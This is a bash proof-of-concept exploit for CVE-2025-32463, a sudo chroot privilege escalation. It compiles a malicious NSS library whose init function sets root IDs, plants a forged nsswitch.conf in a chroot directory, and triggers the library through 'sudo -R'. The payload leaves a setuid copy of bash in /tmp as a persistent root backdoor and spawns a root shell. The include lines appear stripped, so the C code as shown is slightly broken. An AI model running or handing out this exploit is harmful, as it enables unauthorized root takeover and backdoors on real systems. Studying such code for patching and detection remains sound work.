#!/bin/bash # CVE-2025-32463 PoC - Sudo Chroot Privilege Escalation # Based on research by Rich Mirch @ Stratascale Cyber Research Unit STAGE=$(mktemp -d /tmp/pentest.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > kai_ht.c<<'CEOF' #include #include void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); system("id > /tmp/pwned_proof.txt"); system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"); execl("/bin/bash", "/bin/bash", NULL); } CEOF mkdir -p pentest/etc libnss_ echo "passwd: /kai_ht" > pentest/etc/nsswitch.conf cp /etc/group pentest/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/kai_ht.so.2 kai_ht.c echo "[*] Exploiting CVE-2025-32463..." echo "[*] Attempting privilege escalation..." sudo -R pentest pentest # Cleanup rm -rf ${STAGE?}